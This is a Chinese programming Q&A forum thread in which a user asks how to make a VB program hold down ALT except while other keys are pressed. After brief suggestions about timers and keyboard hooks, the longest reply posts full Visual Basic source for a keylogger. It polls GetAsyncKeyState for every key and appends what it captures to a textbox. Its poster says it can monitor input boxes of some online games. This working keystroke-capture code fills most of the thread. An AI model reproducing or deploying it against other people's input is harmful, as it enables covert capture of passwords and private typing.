当前位置:编程学习 > VB >>

VB 实现键盘监控

    麻烦各位了,我想通过一个简单的程序实现这样一个效果:
  当我不对键盘做任何输入操作时,系统一直模拟按下ALT键的状态;但在我按下其它键盘其它按键的时候,ALT键的按下效果暂时消失,按键动作做完的那一刻,立刻又恢复状态.


下面是我的源文件链接,恳求高手们帮帮忙:
http://ys-g.ys168.com/?VB.rar_4s7bsh8e1e0bs7bshsqhitlm0cpomop1b5bitl0cnp2bu14z97f14z --------------------编程问答-------------------- 思路:
1、定义一个布尔变量bolAlt,在一个Timer控件中添加:当bolAlt为Ture时使用keybd_event来模拟发送ALT按键
2、使用钩子函数,当捕获到键盘的除ALT按键的按下消息和弹起以外的消息时,当捕获到按下消息时:设置bolAlt=False,那么就可以不执行发送Alt按键的步骤,当捕获到弹起消息时,恢复bolAlt=True,则可以进行ALT的模拟输入 --------------------编程问答-------------------- 实现不了,麻烦你看下源文件好吗? --------------------编程问答-------------------- UP ,高手支招啊 --------------------编程问答-------------------- 大哥,我想看的时候,文件连接已经失效了。。。
怎么办? --------------------编程问答-------------------- UP --------------------编程问答-------------------- ysl1970.ys168.com
去这个地址下载,拜托了 --------------------编程问答-------------------- 全局钩子吧,基本同木马思路。 --------------------编程问答-------------------- 去了,空的,没有下载内容。 --------------------编程问答-------------------- 路过,帮顶. --------------------编程问答-------------------- 你要点开那个VB的文件夹啊 --------------------编程问答-------------------- 路过,学习了 --------------------编程问答-------------------- 控件自己放,可以监控某些网络游戏输入框,QQ2009不行,输入的是1,监控结果是其他的数字
Private KeyLoop As Long
Private FoundKeys As String
Private KeyResult As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Command1_Click()
    End
End Sub
Private Sub Command2_Click()
    Text1.Text = ""
End Sub
Public Sub Form_Load()
    LastKey = ""
    TimeOut = 0
End Sub
Private Sub Timer1_Timer()
    On Error Resume Next
    Dim AddKey
    KeyResult = GetAsyncKeyState(13)
    If KeyResult = -32767 Then
        AddKey = "[ENTER]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(17)
    If KeyResult = -32767 Then
        AddKey = "[CTRL]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(8)
    If KeyResult = -32767 Then
        Text1.Text = Left$(Text1.Text, Len(Text1.Text) - 1)
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(9)
    If KeyResult = -32767 Then
        AddKey = "[TAB]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(18)
    If KeyResult = -32767 Then
        AddKey = "[ALT]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(19)
    If KeyResult = -32767 Then
        AddKey = "[PAUSE]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(20)
    If KeyResult = -32767 Then
        AddKey = "[CAPS]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(27)
    If KeyResult = -32767 Then
        AddKey = "[ESC]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(33)
    If KeyResult = -32767 Then
        AddKey = "[PGUP]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(34)
    If KeyResult = -32767 Then
        AddKey = "[PGDN]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(35)
    If KeyResult = -32767 Then
        AddKey = "[END]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(36)
    If KeyResult = -32767 Then
        AddKey = "[HOME]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(44)
    If KeyResult = -32767 Then
        AddKey = "[SYSRQ]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(45)
    If KeyResult = -32767 Then
        AddKey = "[INS]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(46)
    If KeyResult = -32767 Then
        AddKey = "[DEL]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(144)
    If KeyResult = -32767 Then
        AddKey = "[NUM]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(37)
    If KeyResult = -32767 Then
        AddKey = "[LEFT]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(38)
    If KeyResult = -32767 Then
        AddKey = "[UP]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(39)
    If KeyResult = -32767 Then
        AddKey = "[RIGHT]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(40)
    If KeyResult = -32767 Then
        AddKey = "[DOWN]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(112)
    If KeyResult = -32767 Then
        AddKey = "[F1]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(113)
    If KeyResult = -32767 Then
        AddKey = "[F2]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(114)
    If KeyResult = -32767 Then
        AddKey = "[F3]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(115)
    If KeyResult = -32767 Then
        AddKey = "[F4]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(116)
    If KeyResult = -32767 Then
        AddKey = "[F5]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(117)
    If KeyResult = -32767 Then
        AddKey = "[F6]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(118)
    If KeyResult = -32767 Then
        AddKey = "[F7]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(119)
    If KeyResult = -32767 Then
        AddKey = "[F8]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(120)
    If KeyResult = -32767 Then
        AddKey = "[F9]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(121)
    If KeyResult = -32767 Then
        AddKey = "[F10]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(122)
    If KeyResult = -32767 Then
        AddKey = "[F11]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(123)
    If KeyResult = -32767 Then
        AddKey = "[F12]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(124)
    If KeyResult = -32767 Then
        AddKey = "[F13]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(125)
    If KeyResult = -32767 Then
        AddKey = "[F14]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(126)
    If KeyResult = -32767 Then
        AddKey = "[F15]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(127)
    If KeyResult = -32767 Then
        AddKey = "[F16]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(32)
    If KeyResult = -32767 Then
        AddKey = " "
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(186)
    If KeyResult = -32767 Then
        AddKey = ";"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(187)
    If KeyResult = -32767 Then
        AddKey = "="
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(188)
    If KeyResult = -32767 Then
        AddKey = ","
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(189)
    If KeyResult = -32767 Then
        AddKey = "-"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(190)
    If KeyResult = -32767 Then
        AddKey = "."
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(191)
    If KeyResult = -32767 Then
        AddKey = "/" '/
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(192)
    If KeyResult = -32767 Then
        AddKey = "`" '`
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(96)
    If KeyResult = -32767 Then
        AddKey = "0"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(97)
    If KeyResult = -32767 Then
        AddKey = "1"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(98)
    If KeyResult = -32767 Then
        AddKey = "2"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(99)
    If KeyResult = -32767 Then
        AddKey = "3"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(100)
    If KeyResult = -32767 Then
        AddKey = "4"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(101)
    If KeyResult = -32767 Then
        AddKey = "5"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(102)
    If KeyResult = -32767 Then
        AddKey = "6"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(103)
    If KeyResult = -32767 Then
        AddKey = "7"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(104)
    If KeyResult = -32767 Then
        AddKey = "8"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(105)
    If KeyResult = -32767 Then
        AddKey = "9"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(106)
    If KeyResult = -32767 Then
        AddKey = "*"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(107)
    If KeyResult = -32767 Then
        AddKey = "+"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(108)
    If KeyResult = -32767 Then
        AddKey = "[ENTER]"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(109)
    If KeyResult = -32767 Then
        AddKey = "-"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(110)
    If KeyResult = -32767 Then
        AddKey = "."
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(2)
    If KeyResult = -32767 Then
        AddKey = "/"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(220)
    If KeyResult = -32767 Then
        AddKey = "\"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(222)
    If KeyResult = -32767 Then
        AddKey = "'"
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(221)
    If KeyResult = -32767 Then
        AddKey = "]"
        
        
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(219) '219
    If KeyResult = -32767 Then
        AddKey = "["
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(16)
    If KeyResult = -32767 And TimeOut = 0 Then
        AddKey = "[SHIFT]"
        LastKey = AddKey
        TimeOut = 1
        GoTo KeyFound
        End If
    KeyLoop = 41
    Do Until KeyLoop = 256
        KeyResult = GetAsyncKeyState(KeyLoop)
        If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop)
        KeyLoop = KeyLoop + 1
    Loop
    LastKey = AddKey
    Exit Sub
KeyFound:
    Text1 = Text1 & AddKey
End Sub
Private Sub Timer2_Timer()
    TimeOut = 0
End Sub
--------------------编程问答--------------------
补充:VB ,  API
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,